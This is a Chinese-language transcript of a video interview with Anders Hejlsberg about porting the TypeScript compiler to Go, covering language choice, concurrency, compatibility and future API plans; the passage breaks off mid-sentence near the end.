Hejlsberg的专访的文字稿（时长超过1小时），并将全文发布在这里供大家参考。\n注：由于专访内容较为丰富，文字稿是通过工具提取油管视频字幕，并由AI进行格式化整理后整体翻译，最后经过人工校对而成。因此，文中可能存在翻译不当之处，敬请谅解。\n主持人：\nJavaScript 本身并不是为了计算密集型的系统级工作负载设计的，对吧？而 Go 恰恰是为此而生。我们追求的是完全兼容，希望能提供旧编译器的即插即用替代品。但我认为更有意思的是，思考类型检查器速度提升十倍意味着什么。当它与当下的人工智能和智能编程结合起来，我们如何利用这些信息？例如，为大型语言模型（LLM）提供上下文信息：这些类型实际解析成了什么？这个符号是什么？在哪里声明的？因为现在 LLM 只能看到拼写，并不理解其含义。所以我们可以实时地赋予它更高保真度的信息。TypeScript 类型检查器，作为软件开发中最基础的工具之一，今天宣布团队经过数月的努力，将代码库移植到 Go，速度提升了十倍。当 TypeScript 首席架构师和联合创始人 Anders Hejlsberg 主动提出与我讨论这项重大变革时，我努力从库作者、高级用户、工具开发者和编译器贡献者的角度出发，思考他们可能有的问题。我主要使用 Rust 进行开发，我知道很多人会问：为什么不选择 Rust？我也是第一时间有这个想法。但在与 Anders 的对话中，他分享了团队对未来方向的愿景。在听取了他的技术原因后，我完全认同Go才是正确的选择。我希望大家关注的重点，不是选择了哪种原生语言，而是类型检查速度提升十倍，内存占用减半，以及并发能力。这将让 TypeScript 更加有趣，并带来无限可能。希望大家能享受这次与 Anders 交流的机会。大家好，欢迎 Anders Hejlsberg 的到来！TypeScript 世界正发生着一件大事，他将在这里与我们探讨并解答疑问。希望能从库作者以及深度使用 TypeScript 用户的角度，提出一些问题，并听取他的观点。Anders，你好吗？请简单介绍一下自己吧。\nAnders Hejlsberg：\n我很好。我是 Anders Hejlsberg，微软技术院士，也是 TypeScript 开源项目的首席架构师。在此之前，我在 C# 上工作了十多年。更早之前，我在 Borland 公司从事 Delphi 和 Turbo Pascal 的开发工作。总的来说，我从事软件开发，尤其是编程语言和软件开发工具，已经差不多 40 年，甚至更久。\n主持人：\n多么令人惊叹的职业生涯！我记得不久前，我还对 C# 开发充满热情，并对其赞赏有加。感谢您对此做出的贡献！但后来 TypeScript 出现了。那么，我们从头开始吧。\n主持人：\n这个新项目的代号是 Corsa，对吗？ 而旧代码库则被称为 Strata。我碰巧知道 Strata 也是 TypeScript 最初的代号，是真的吗？\nAnders Hejlsberg：\n没错。那是我们刚开始项目时的代号，大概是 2010 年末或 2011 年初。那是我们在内部开发的前几年的代号。\n主持人：\n是您和 Luke 吗？\nAnders Hejlsberg：\n还有 Steve，当然，Steve Lucco。他编写了最初的原型编译器。他实际上是从 Internet Explorer 的 JavaScript 引擎中提取了扫描器和解析器，然后进行了改造。那是一个 C# 代码库，只是为了进行概念验证。Luke 当时是我们的产品经理。所以 Steve、我和 Luke 是 TypeScript 的最初团队。\n主持人：\n太棒了！那么，快进到……我不太清楚具体时间，也许您可以告诉我。Corsa 这个新方向是谁提出的？具体是哪一天？\nAnders Hejlsberg：\n我不确定有没有一个确定的日子。这个想法已经在我们脑海里酝酿很久了。在 ECMAScript 社区中，一直存在一种趋势，即将一些高度依赖的工具迁移到原生代码，比如 esbuild 和 swc 等等。现在已经有很多用于 JavaScript 的原生代码解析器和 Linter。我们一直在关注这一点，也看到许多人尝试构建 TypeScript 的原生代码版本。其中大部分是从第一性原理开始，有些尝试移植，但都没有达到关键规模。这也可以理解，因为这是一个复杂的项目。我们已经投入了大约 100 人年的工作到 TypeScript 中。所以，单个人试图移植或创建一个高度兼容的版本，都是一项艰巨的任务。但我们一直在关注社区中发生的所有这些事情。\nAnders Hejlsberg：\n性能和可扩展性一直是用户最主要的需求。他们希望能够更好地扩展，运行速度更快。所有软件都是这样，没有东西会变小，只会变大。项目越来越大，我们的编译器也越来越大。反过来，这也给 V8 和 JavaScript 引擎带来了更大的压力。因为 JavaScript 是一个即时编译（JIT）环境，所以我们的启动时间也在随着新功能的添加而不断增加。因此，我们看到启动时间缓慢增长，或者说速度减慢。我们一直努力提升性能，也做了一些工作，但所有的优化都只有 5% 或 10% 左右，没有产生质的飞跃。我们逐渐意识到，这可能就是我们所能达到的优化极限了。当我们查看编译器的性能分析时，并没有发现任何热点。它已经在尽其所能地运行，以完成需要完成的工作。\nAnders Hejlsberg：\n长话短说，在八月份，我们开始思考：我们需要收集一些数据，了解移植到原生代码意味着什么，以便做出明智的决定，是否值得这样做。我们开始用不同的语言构建原型，比如 Rust、Go、C++ 等等。我们认为Go是一种非常适合我们需求的语言。所以在八月份，我开始移植扫描器和解析器，只是为了获得一个基准，看看速度能有多快，以及从 JavaScript 移植到 Go 有多困难。实际上，进展相当顺利。在几个月内，我们就得到了可以运行的东西，能够解析我们所有的源代码，没有任何错误。我们可以开始从中推断出一些数字。那时我们开始意识到，我们可以实现 10 倍的性能提升。因为我们可以从原生获得大约 3 到 3.5 倍的提升，然后从并发获得另外 3 到 3.5 倍的提升。两者结合起来就达到了 10 倍。10 倍的提升是非常显著的。一旦你看到这个可能性，你就会觉得很难放弃。其他的一切都黯然失色。\n主持人：\n团队的其他成员对此怎么看？我想总有一天，大家会意识到用 Go 这种方法或许可行。团队其他成员的反响如何？\nAnders Hejlsberg：\n我认为这是一种兴奋与担忧的混合。因为这是一个完全未知的领域。我们真的能成功吗？人们能否在合理的时间内掌握 Go 语言？Go 的工具链怎么样？它们是否能像 TypeScript 本身一样优秀？毕竟，我们已经使用 TypeScript 编写 TypeScript 十多年了。所以，既有很多未知数，同时也对潜在收益感到兴奋。\n主持人：\n你提到了自举。对于听众而言，自举语言是指用其自身编写的语言。很多语言都是从其他语言开始的，比如 Go 最初是用 C 编写的，Rust 最初是用 OCaml 编写的。但是在获得了一些关键代码之后，就可以用该语言描述自身。TypeScript、Go 和 Rust 都变成了自举语言。那么，放弃自举语言有什么其他例子吗？\nAnders Hejlsberg：\n我认为，所有其他迁移到 JavaScript 生态系统中原生代码的工具，都放弃了自举，因为它们最初就是用 JavaScript 编写的。我们最大的担忧之一就是放弃自举，因为自举对我们帮助很大。我相信我们仍然会保留一些用 JavaScript 编写的部分。有多少，还有待观察。我们仍在探索语言服务的解决方案。我们知道语言服务的核心需要使用原生代码编写，也就是语义引擎。编译器负责提供所有信息，但周围有很多东西仍然可以用 JavaScript 编写。我们知道我们需要在原生部分、Go 以及想要从其他语言消费的消费者之间构建 API。这仍然是我们尚未完全解决的问题。但我们绝对看到了自举的价值。但另一方面，我们也是现实主义者。很难永远放弃 10 倍的性能提升。一方面和另一方面，哪种选择对社区更有益？\n主持人：\n绝对的。我希望人们能从这次谈话中得到这个信息。我应该提到，我也是一名 Rust 开发者。当我听到这个消息时，我感到非常兴奋。我认为很多人都会想问：为什么不选择 Rust？因为社区中很多工具都在向 Rust 靠拢。我想直接问你，是否考虑过 Rust？我知道你说你看过它。我也想了解一下为什么不选择 C#？据我所知，自从我上次看 C# 以来，它在异步和线程池方面有了很大的进步。能否谈一谈这些？\nAnders Hejlsberg：\n我认为这里的一个主要因素是，我们正在进行移植，而不是从头开始。如果我们从头开始，那么对语言的选择就可以围绕着你的项目来构建。如果我们从头开始，用 Rust 编写，那么我们会设计一个从一开始就不依赖自动垃圾回收，也不依赖循环图等等的编译器。从第一性原理出发，当你有一个已经使用了十年以上，拥有数百万程序员和无数行代码的产品时，你将会面临大量的兼容性问题。因为我们的编译器中有很多行为是可以说是“任意”的。当我说是“任意”的时候，我指的是类型推断。例如，可能有多个候选类型都是正确的，我们选择其中一个。从某种意义上说，这是一种程序所依赖的行为。如果在新的代码库中，行为有所不同，那么你可能会看到新的错误。所以从一开始，我们就知道唯一有意义的方法就是移植现有的代码库。现有的代码库做出了一些假设，特别是它假设存在自动垃圾回收。我认为这几乎限制了我们的选择。Rust 基本上就被排除了。因为在 Rust 中，你可以进行内存管理，但它不是自动的。你可以使用引用计数等等。除了这一点，还有借用检查器及其对数据结构所有权的严格约束。特别是，它有效地禁止了循环数据结构。我们所有的数据结构都大量使用循环。我们有抽象语法树（AST），其中包含子指针和父指针。我们有带有声明的符号，这些声明指向了引用回符号的节点。我们有循环引用的类型，因为它们是递归的。试图理清所有这些，将会极大地增加迁移到原生代码的难度，如果我们还必须要重新设计所有这些。\nAnders Hejlsberg：\n当我们列出我们所需的语言时，我们希望该语言能够在所有主流平台上提供卓越的、优化的原生代码。我们希望该语言具有良好的数据结构表达能力，允许循环数据结构，也允许内联数据结构，比如结构体。这样我们就可以避免在 JavaScript 中对每个对象都进行内存分配。如果能将小对象内联存储，我们希望能尽量避免这种情况。我们需要自动垃圾回收。我们也知道，我们需要并发，并且需要共享内存的并发。我们可以讨论其中的区别。从技术上讲，JavaScript 拥有 Web Workers，可以实现并发，但它并没有共享内存的并发。我可以解释为什么我们需要它来实现编译器。这也是必须的。当你考虑所有这些因素，以及良好的工具链，比如 VS Code 的优秀支持等等，Go 实际上成为了一个非常有吸引力的选择。这就是我们开始在 Go 中进行原型设计，并发现这是一种很棒的体验，并继续深入的原因。\n主持人：\n我认为这才是关键。我热爱 Rust，但这种热情不会蒙蔽我，让我无法说出 Rust 并不具备“周末速成”的特性。Rust 似乎非常注重尽可能做正确的事情，即使以牺牲开发者体验为代价。\nAnders Hejlsberg：\n是的，而且我坚信，如果你来自 JavaScript，你会发现过渡到 Go 比过渡到 Rust 更加容易。\n主持人：\n很高兴听到你这么说。我认为这从人力资源的角度来说，是另一个使这个决定有意义的重要原因。如果你查看一些 JavaScript 代码，然后查看用 Go 实现的相同代码，它们看起来很相似。但是如果你查看用 Rust 实现的相同代码，特别是如果遇到任何特别复杂的事情，或者像你提到的递归结构，那么就很难理解 Go 代码是如何从 TypeScript（也就是 JavaScript）代码演变而来的。我之前也做过这种事。我认为这是 Go 的一个优势。\nAnders Hejlsberg：\n您说的很有道理。\n主持人：\n那么，为了完成这个循环，请再谈谈 C#。为什么没有考虑 C# 呢？\nAnders Hejlsberg：\nC# 也在考虑范围内。但我认为 Go 无疑是……我认为它是我们能达到的最低级别的语言，同时还具有自动垃圾回收功能。它是我们能达到的最以原生为先的语言，同时仍然具有自动垃圾回收功能。C# 有点像是字节码优先，如果你愿意这么说。虽然有一些提前编译可用，但并非在所有平台上都可用。它并没有经过长达十年的强化，从一开始也并非以这种方式设计。我认为 Go 在数据结构布局和内联结构体方面具有更强的表达力。\nAnders Hejlsberg：\n我想补充一点，我们的 JavaScript 代码库是用高度函数式编程风格编写的。我们很少使用类。事实上，核心编译器根本不使用类。这也是 Go 的一个特点。Go 是函数和数据结构。而 C# 则主要面向面向对象编程（OOP）。为了迁移到 C#，我们需要切换到 OOP 范式。这又增加了迁移过程的摩擦。所以最终，这条路对我们来说是阻力最小的。\n主持人：\n好的。我对这个问题有一些疑问。我过去在使用 Go 进行函数式编程时遇到过很多困难。我很高兴听到您认为这不是什么问题。这是我一开始想问的。\nAnders Hejlsberg：\n当我说函数式编程时，我指的是一种纯粹意义上的函数式编程。也就是说，我们主要处理的是函数和数据结构，而不是对象。我不是在谈论模式匹配、高阶类型和单子(monad)之类的概念。我们处于一个更低的层次。\n主持人：\n明白。当你查看 TypeScript 代码库时，我贡献得不多，但我经常通过调试来试图理解内部机制。我在调试 TypeScript 代码库编译输出时，经常遇到的一个问题是，TypeScript 代码库大量使用枚举和按位运算，尤其是对枚举进行一元按位运算来跟踪值。Go 并没有完全类似的东西。Go 可以将常量分组在一起，看起来有点像枚举。我很好奇 TypeScript 代码库中这个非常普遍的特性是否受到了影响？或者说，Go 如何解决这个问题？\nAnders Hejlsberg：\n我认为你真正想说的是，TypeScript 拥有比 Go 更加丰富的类型系统。我完全承认这一点。Go 确实没有像枚举这样的概念，尽管它可以将常量组合在一起并自动编号。这有点古怪。虽然对它进行一些类型检查，但 Go 实际上对位操作和将标志打包成整数有很好的支持。事实上，Go 对各种数据类型的支持比 JavaScript 更好。你可以使用字节、短整型、整型以及 64 位整型，包括有符号和无符号类型。而在 JavaScript 中，一切都是浮点数。如果你想表示true或false，就需要 8 个字节。这真是太麻烦了。这就是为什么我们在现有的编译器中采取了各种各样的技巧。至少我们可以将 31 位压缩到一个浮点数中。但在 Go 中，我们可以使用所有的位。而且，我们还可以将它们布局为结构体，进行内联存储。我们的内存消耗大约只有旧编译器的一半。在这个时代，内存就等于速度。你使用的内存越多，速度就越慢，因为你访问内存屏障或读屏障的次数就越多，最终需要访问真正的内存。在现代 CPU 中，每条指令都需要零个时钟周期（因为预测），除非它需要一千个时钟周期，因为你遇到了内存瓶颈。如果你能压缩你的数据结构，就能获得更快的速度。\n主持人：\n你让我开始思考，尽管 Go 的类型系统不像 TypeScript 那么高级，但它仍然有一些与众不同之处。我过去使用 Go 时最怀念的一点是不透明类型的概念。你可以在 TypeScript 中创建一个类型的别名，现在人们经常这样做，我们称之为“branded types”。我很好奇，据我所知，F# 在 Strata 和 TypeScript 的早期阶段产生了一些影响。您在日常编写 Go 的过程中是否受到了什么影响？在 Go 中有没有看到任何让你觉得可以引入到 TypeScript 中的东西？\nAnders Hejlsberg：\n你是说反向影响吗？\n主持人：\n是的。\nAnders Hejlsberg：\n很有意思。让我想一想。顺便说一句，我想提一下，更高版本的 Go 实际上引入了“新鲜类型(fresh types)”的概念。你可以拥有一个与其它int32不同的新鲜int32。这就是我们为枚举提供类型安全的方式，因为我们为每个枚举声明了新鲜类型。但有没有什么能够反过来影响 TypeScript 的东西呢？这很困难，因为 Go 作为一个类型系统…… 我不会说它平庸，但它是一个相当简单的类型系统。有一些运行时特性我希望拥有，但现在我们谈论的是 JavaScript 运行时。当然，结构体对我们帮助很大，但它是否一定对整个 JavaScript 社区有益，我就不太确定了。\n译注：这里提到的新鲜类型似乎是使用type关键字自定义一个具名新类型。\nAnders Hejlsberg：\n像编译器这样的程序，实际上是一种非常特殊的，在 JavaScript 运行的东西。我经常开玩笑说，如果有人告诉我，我会用 JavaScript 编写编译器十年，我会觉得简直是胡说八道。但在某种程度上，这就是我一直在做的事情，或者说我们的团队一直在做的事情。但 JavaScript 本身就不是为计算密集型的系统级工作负载而设计的。Go 恰恰是为此而生。看看 Kubernetes 和其他用 Go 编写的重要项目。Go 基本上缺乏任何 UI 抽象。Go 是一种系统级工具，而我们也是一个系统级的程序。所以这很有意义，这是一种很好的结合。\n主持人：\n那么，让我们深入探讨一下如何确保这次重大变革能够平稳过渡到生态系统中。首先我想到的一个问题是：TypeScript 并没有正式的规范。引用实现有点像是规范。你们将如何从这种状态过渡到新的代码库，并保持一切一致呢？\nAnders Hejlsberg：\n这特别强调了我们进行移植的核心原因之一。当你移植代码时，最终会得到相同的语义。你会得到不同的代码，但语义是相同的。这意味着当你输入数据并期望某种行为时，会发生相同的事情。\n主持人：\n所以你不会看到任何差异吗？\nAnders Hejlsberg：\n不，非常忠实于旧版本。我们拥有所有相同的类型。它的布局方式与 JavaScript 中相同。当然，在 JavaScript 中声明它时，我们大量使用联合类型和交叉类型等等，以及所有在 Go 中无法实现的花哨的东西。所有的类型定义看起来都会有所不同。但在语义上，我们谈论的是同一件事。对于编译器本身的符号和类型对象模型也是如此。\n主持人：\n很高兴听到这一点，因为我认为库作者会担心他们是否必须维护两个版本的类型定义。听起来你们会付出很多努力来确保过渡的顺利进行。\nAnders Hejlsberg：\n我们的目标是 99.99% 的兼容性。理想情况下，我们希望对相同的代码库产生完全相同的错误。这就是我们一直在努力的方向。目前，我们现在开源的编译器可以编译并检查所有 Visual Studio Code，没有任何错误。这是一百五十万行代码，大约有 5000 个源文件和 50 兆字节的源代码。我们正在接近启用所有测试。我们知道我们可以运行 20,000 个符合性测试而不会崩溃。我们仍在分析错误基线等等，并努力消除一些差异。我们追求完全的兼容性。我们真的希望它能成为旧编译器的即插即用替代品。因为这是我们摆脱需要永远维护旧编译器困境的唯一途径。\n主持人：\n您认为今天有什么让您觉得，这将是过渡中最艰巨的挑战吗？如果答案是否定的，那也是个好答案。\nAnders Hejlsberg：\n不，我认为仍然存在一些挑战。有些事情是必然存在的，使得情况变得复杂。实际上，这需要很长时间才能解释清楚。但有些事情我们必须要改变，特别是关于以确定性方式对类型进行排序。我对类型排序的理解是：当你有一个类型的联合时，有时顺序很重要。比如打印联合类型时，顺序很重要。但是在某些情况下，当我们选择报告错误的候选类型，或者进行子类型缩减等操作时，顺序也很重要。在旧的编译器中，我们使用了一种非常简单但非确定性的类型排序方式。在单线程上，它是确定性的。无论何时实例化或者创建一个表示类型的对象，我们都只会给它一个序列号，然后不断地递增这个序列号。如果再次编译，所有类型都会获得相同的序列号，一切都一遍又一遍地相同。但是，当你在多个核心上运行，并有多个类型检查器，或者说事情以稍微不同的顺序进行检查时，就会变成非确定性的。因为这就是并发的本质。\nAnders Hejlsberg：\n因此，我们需要引入确定性的类型排序。当然，这意味着现在我们的类型顺序在某些情况下与旧的编译器不同。虽然联合类型不应该是有序的，但在某些情况下，顺序确实很重要。所以我们必须要解决这些问题。但这绝对是可行的。我认为最大的挑战在于如何为新的代码库提供一个可版本化和现代的 API。因为不管是好是坏，在我们的旧代码库中，源代码也成为了我们的 API 规范。嘿，它是 JavaScript！你可以从任何地方调用任何函数。而且人们也确实会这么做。编译器的所有内部结构都有效地暴露为 API。这在未来是行不通的。因为我们的代码已经从暴露编译器的每个函数，变成了暴露零个函数。它完全是一个黑盒。现在我们需要仔细考虑，如何在这个代码库上放置一个 API，以及如何在必须在进程之间切换，通过通信通道进行通信，而不是直接将数据推送到堆栈并进行函数调用的情况下，保证这个 API 的效率？\n主持人：\n我完全明白你的意思。我有一些项目也在做你说的事情。如果你调用函数，它就在那里。但如果你查看类型定义，它已经被删除了。但如果你调用该函数，它仍然可以工作。人们确实会这样做。你抓到我了，这很有趣。\n主持人：\n我的意思是，很高兴听到您一直在考虑 JS API。我们可以谈谈连接点吗？我想说的是，我很高兴它不是用 Rust 编写的，因为我认为这只会加强与其他语言的连接点，并带来更多的可能性。如果我想用 Zig 编写一个发射器，我觉得如果整个 API 是……虽然你没有提到 WebAssembly，但我很好奇其中是否有 WebAssembly 组件，或者如何提供这些？你会有 Rust 绑定吗？或者你会有与其他语言的绑定吗？\nAnders Hejlsberg：\n我认为我们肯定会有语言中立的绑定。我们肯定会提供的一个绑定是语言服务器协议 (LSP)。因为我们正用它来实现新的原生语言服务。顺便说一句，我们已经希望进行这种转变很多年了。TypeScript 项目早于语言服务器协议，而且实际上是语言服务器协议的灵感来源。但是，我们自己从来没有过渡到 LSP。我们正在借此机会完成过渡。这将是一个在任何地方都可以使用的 API。当然，您也可以想象我们添加除了核心 LSP 功能之外的额外功能，让你能够以语言中立的方式向语言服务器询问不同的问题。但它永远无法达到当前 JavaScript API 的丰富程度。我们正在探索能够提供更丰富、更同步的 API 的解决方案。因为如果我们要继续用 JavaScript 构建部分语言服务，我们自己也需要这个。现在说清楚所有这些将如何发展还为时过早。但我们肯定正在那个领域进行大量的探索。\n主持人：\n明白了。您预计 Strata 代码库会维护多长时间？即使在您认为 Go 代码完全普遍可用之后？\nAnders Hejlsberg：\n我认为大概还有几年时间。这只是因为我们天性保守。我们不想抛弃任何人。我们知道有一些项目需要按照他们的方式运行，而且我们还没有在新的原生编译器中为他们提供解决方案。但我预计到今年年底，我们就能拥有一个功能齐全的编译器，大多数人都能够使用。我们已经非常接近命令行编译器了。我想我们会在夏天或晚春实现这个目标，到那时人们就可以直接使用它了。当然，仍然有一些部分尚未完成。我们还没有支持 JSDoc 或 JSX，虽然这正在进行中。我们还没有支持项目引用，构建模式以及 watch 模式等等。但这些也都在进行中。所以一切都在陆续上线。但我们确实已经拥有了一个编译器，它可以编译单个项目，速度比旧编译器快 10 倍，并且如果出现错误，会给出相同的错误信息。\n主持人：\n您认为这两个代码库最终会合并吗？还是 TypeScript Go 代码库会成为 TypeScript 的未来？\nAnders Hejlsberg：\n从长远来看，Go 代码库会成为我们的未来。但正如我所说，我们仍在探索如何构建语言服务。肯定会有语言服务的原生组件，但也可能会有 JavaScript 组件。当然，这个组件会用 JavaScript 或 TypeScript 编写。\n主持人：\n很高兴知道您一直在考虑如何管理这个过渡过程。您刚刚给出了一个非常激进的时间表，但是它也是一个长期的支持计划。我的朋友 Andrist 之前在您的频道出现过，我相信您认识他。现在他好像有 100 个 PR 处于 open 状态。我曾想，Andrist 的 PR 会发生什么？但听起来它们是安全的，希望我们能够移植它们。\nAnders Hejlsberg：\n希望我们会移植它们。实际上，我们在八月份的某个随机提交点进行了快照。我们选择了特定的提交，然后说：这就是我们要移植的提交，源代码就以此状态为基准。从那时起，我们就可以回去查看此后合并的所有 PR，我们可以挑选并翻译或移植它们。我们会进行后续工作，这将会并行进行。我相信我们能做到。\n主持人：\n太好了。我想这个答案会对工具开发者们产生很大的鼓舞。我想问一下，您认为工具开发者，比如 linter、格式化工具和依赖分析工具等，是否应该期望他们的工具在类型检查方面也能够更快呢？\nAnders Hejlsberg：\n这是一个很难回答的问题。这完全取决于具体的工具，以及它如何利用语言服务。这取决于它是大量依赖于编译器的语义服务，还是只使用了原生解析器。情况各不相同。我想说的是，我们正在与生态系统中大部分知名的工具开发者进行对话。如果还没有，我们也会主动与他们进行交流。我们会尽力帮助他们将功能进行移植、向量化，或者进行其他任何必要的处理。\n主持人：\n听到您在直接与 linter 开发者和格式化工具作者沟通，这令人感到安心。我认为这将极大地有助于每个人都能平稳过渡。谢谢您这样做。\nAnders Hejlsberg：\n这是我们应该做的。这实际上是一个很好的过渡，可以讨论一下……我想再问一个关于并发的问题。您提到并发模型带来的差异也会对 JS API 造成一些挑战。您投入了多少精力在并发上？增加并发有多困难？您是否花时间调试死锁或并发问题？\nAnders Hejlsberg：\n很有趣。因为我们正在移植的编译器，也就是每个人过去十年一直在使用的 TypeScript 编译器，正如我之前所说，它本身就是一个非常函数式的代码库。这意味着它采用了函数式编程模式，特别是大量使用了不可变性，以确保安全共享。例如，在扫描、解析和绑定抽象语法树之后，我们基本上就认为该语法树是不可变的。这意味着多个类型检查器可以同时处理同一个 AST。您可能会问，但 JavaScript 没有并发，为什么这很重要？这是有一定意义的，因为你可能同时打开多个包含相同文件的项目。这节省了我们创建多个重复 AST 的麻烦。另外，这使得我们更容易复用数据。因为请思考一下，当您在语言服务中编辑文件时，您实际上是在不断地创建一个新的程序。因为该文件在不断发生变化。这意味着整个程序也在不断变化。现在，大部分内容并没有改变。因此，当你重建整个程序视图（这是类型检查器所需要的）时，您希望尽可能多地重用旧的程序视图。这就是使用不可变数据结构非常重要的原因。在一个包含 100 个文件的项目中，当您仅修改一个文件时，对于每次击键，您都需要重建一个全新的程序视图。您可以直接使用 99 个未修改的文件及其 AST，而只关注您正在编辑的文件。\nAnders Hejlsberg：\n从一开始，我们的编译器就以这种方式设计的。几乎可以说，这是一个非常适合并发的编译器，但是它被限制在一个无法访问所需并发类型的“盒子”中。这就是我之前提到的共享内存并发。这一点非常重要。思考一下如何在我们的编译器中使用并发。例如，解析就是一个非常适合并行化的任务。它包括将源文件读入内存，然后构建一个数据结构，使您可以浏览该源文件。现在，将源文件读取到内存中只需要获取一个字符串并将其放入内存中即可。然后，构建一个数据结构，使您可以快速浏览该字符串，并找到特定的位置，例如字符串中的 token、函数和块等等。每个源文件的这项工作都可以完全独立地完成。如果您有 5000 个源文件，并且有 8 个 CPU，则可以将它们分成八个部分，然后让每个 CPU 开始工作，并将它们的数据结构保留在内存中。完成之后，您可以说“现在我拥有了所有的数据结构，现在可以构建将它们全部链接在一起的东西了”。但是，这仅在所有进程都位于共享内存空间中时才有效。这就是您在 JavaScript 中遇到问题的地方。因为在 JavaScript 中实现并发的唯一方法是使用 Web Workers。Web Workers 的一个关键特征是它们彼此隔离，无法共享内存。它们唯一可以共享的是一种来回传递 JSON 的方式，或者是一个字节数组，但不能共享任何结构化数据。\nAnders Hejlsberg：\n因此，我们可以使用 JavaScript 并行执行所有这些解析，但我们会留下八个孤立的世界，每个世界都只有八分之一的全局视图。为了将所有这些放在一起，我们必须跨越边界进行编组，而这比解析源文件本身所花费的时间还要长。所以您又放弃了一切。这就是并发在其中发挥作用的一种方式。当然，很久以前，摩尔定律就停止为我们提供更快的 CPU。相反，它为我们提供了更多的 CPU。如果您无法利用这一点，您就是在浪费大量的潜在资源。现在，我们可以利用它了。幸运的是，我们拥有一种架构，可以让我们非常轻松地做到这一点。将解析和绑定阶段转变为并发绑定和并发解析非常简单。我不是在开玩笑，这大概只需要 10 行左右的代码，就可以在 goroutine 中运行这些操作。然后在一些地方，我们需要访问共享资源，例如生成唯一序列号的东西。这需要通过互斥锁来保护。完成之后，它就可以快 3 到 4 倍地运行。这绝对是我们所经历的。\nAnders Hejlsberg：\n这是非常强大的 10 行代码。是的，类型检查器的情况稍微复杂一些，因为与解析不同，类型检查并不是独立于每个文件的。类型检查器的整个思想是拥有一个全局程序视图，这样代码就可以从其他文件中导入，并且你可以进行交叉引用。这意味着，当您键入“let x: SomeTypeName”时，该“SomeTypeName”可能来自另一个文件。现在您必须去那里并开始解析那里的内容。你跨越了很多边界。我们认真思考了如何才能做到这一点，因为我们知道，检查阶段是在编译过程中最耗时的步骤。检查占用了 60% 到 70% 的时间。我们提出了一种方案，实际上我们并没有尝试使类型检查器实现完全的并发安全，避免 CPU 同时修改相同的可变数据结构，因为这几乎是不可能的。相反，我们所做的是获取您的程序，然后将其分成几个部分（当前硬编码为四个，但我们可能会更改此值）。这意味着我们会将您的程序分成四份，然后创建四个类型检查器。我们将整个程序都提供给每个类型检查器，但告诉它们只检查分配给它们的那一部分文件。然后，它们就开始独立工作了。它们唯一共享的内容是底层的抽象语法树（AST），它是不可变的。然后，它们构建自己的状态来表示类型。它们检查的大多数类型都位于分配给它们的源文件中。但是，有时它们会跨越边界，并在那里重复一些工作，解析一个类型。但总的来说，这种方法具有很好的可扩展性。通过这种方法，我们可以在消耗大概 20% 更多内存（因为会存在重复的类型）的前提下，额外获得大约 3 倍的性能提升。这是一项非常划算的交易。我们仍然比旧编译器消耗更少的内存，并且现在我们可以快 10 倍了，因为这是一种乘法效应。 如果您从原生代码获得 3 倍的性能提升，并且从并发获得 3 倍的性能提升，那么总体的性能提升就会是 10 倍。这是一个巨大的范式转变。\n主持人：\n我想展望未来，思考这对于 TypeScript 项目的未来 10 年或 12 年意味着什么。您认为语言特性会发生什么变化？实际上，我一直在倡导减少语言特性，而更加注重稳定性和其他类似的事情。如果没有任何新特性添加，我会非常高兴。我之前被问到关于 Doom 项目的事情，TypeScript 可以添加哪些特性来使其更容易实现？我想说，目前已有的特性就足以运行 Doom 了。显然，TypeScript 已经图灵完备。您是否有一些时刻，因为意识到某些特性会带来巨大的性能开销，所以过去没有实现，而现在这种新的架构可能会在一年后为这些特性打开大门？\nAnders Hejlsberg：\n我认为我最兴奋的是……首先，如果我们在 TypeScript 推出后的两三年就尝试进行这种移植，那么世界，甚至是我们自己是否做好了准备都还不清楚。但是，现在我们已经达到了一定的成熟度。ECMAScript 的发展速度肯定不如当年从 ES5 到 ES6 过渡时那么快，那时我们获得了类、lambda 表达式等等。现在发展速度慢了很多。我们从社区的反馈中也看到，越来越多的人关心可扩展性和性能，而越来越少的人关心花哨的新类型系统特性。\nAnders Hejlsberg：\n我们当然会继续关注 ECMAScript 委员会的工作，并且积极参与其中。对于由此产生的任何新特性，我们肯定会在类型系统中给予适当的处理。我们也可能会设想出新的类型系统特性，但我认为更有趣的是思考一个类型检查器速度快 10 倍所带来的影响。当它与人工智能、智能编程等领域的最新进展结合起来时，我们如何利用这种更快速的信息生成能力？例如，为大型语言模型 (LLM) 提供上下文信息：这些类型实际解析成什么？这个符号是什么符号？它在哪里声明的？因为现在 LLM 只能看到拼写，并不能真正理解其含义。因此，我们可以实时地为它们提供更高保真度的信息。我们还可以实时地检查 AI 的输出，以确保其不仅在语法上正确，而且在语义上也是正确的。如果您打算让这些 AI 生成代码并实际运行它，那就需要这些特性。谁能保证 AI 生成的代码是安全的？保持 AI 诚实的唯一方法是通过确定性的类型检查器或验证器。\nAnders Hejlsberg：\n我认为这开辟了一些非常有趣的新途径，这些途径是我们在以前不可能追求的。我们现在可以开始思考它们。其中一种潜在途径是，未来是否会出现一个 TypeScript 原生的运行时？当然，存在 Deno，它是用 Rust 编写的。或许这项工作与它之间会有一些交叉。您认为未来是否会有一个基于此代码库构建的 TypeScript 优先的运行时？\nAnders Hejlsberg：\n我已经学会了“永远不要说永远不会”。在这个行业以及我所经历的一切中，这句话总是应验。这肯定有可能发生。我想说的是，今天减慢 JavaScript 速度的一些因素（比如主要的运行时 V8 以及 JIT 编译等）有可能在使用原生编译的系统中被消除。还有 JavaScript 的对象模型。比如，您可以随意向对象添加新属性，以及计算属性名称。在 JavaScript 中，对象更像是哈希表，而不是内存插槽中布局的结构体。即使我们有时这样认为，但它们的实际行为并非如此。JavaScript 对数字的处理（比如没有整数，一切都是浮点数）也带来了诸多限制。如果您想要保留完全相同的语义，就无法消除这些限制。您可以设想一种看起来像 TypeScript 但具有不同语义的语言。有些人已经尝试过这样做了。然后您可以为它构建一个原生编译器。但这是否是人们所期望的？这很难说。\nAnders Hejlsberg：\n我不知道这一切会走向何方。我经常希望存在一种魔法粉末，我们可以用它来为 JavaScript 创建一个原生运行时，并使其速度提高一个数量级，就像我们现在所做的那样。但老实说，我认为在可预见的未来，这种情况不太可能发生。\n主持人：\n您说的很有道理。我是一个充满热情的爱好者，这些都是我一直在思考的问题，请不要介意。我真正想问的最后一个问题是，当我看到工具迁移到 Rust 时，我常常会看到社区出现一些担忧，虽然这可能并不是强烈的反对，但人们担心原先乐于贡献 TypeScript 和 JavaScript 的开发者会因为工具迁移到 Rust 而被抛弃，或者说被强迫学习 Rust。对于 TypeScript 和 Go 来说，也可能存在类似的担忧。我想知道您有什么看法。我实际上认为这从净收益来看是积极的。这些社区中存在着大量的活力。我们已经看到了这些 Rust 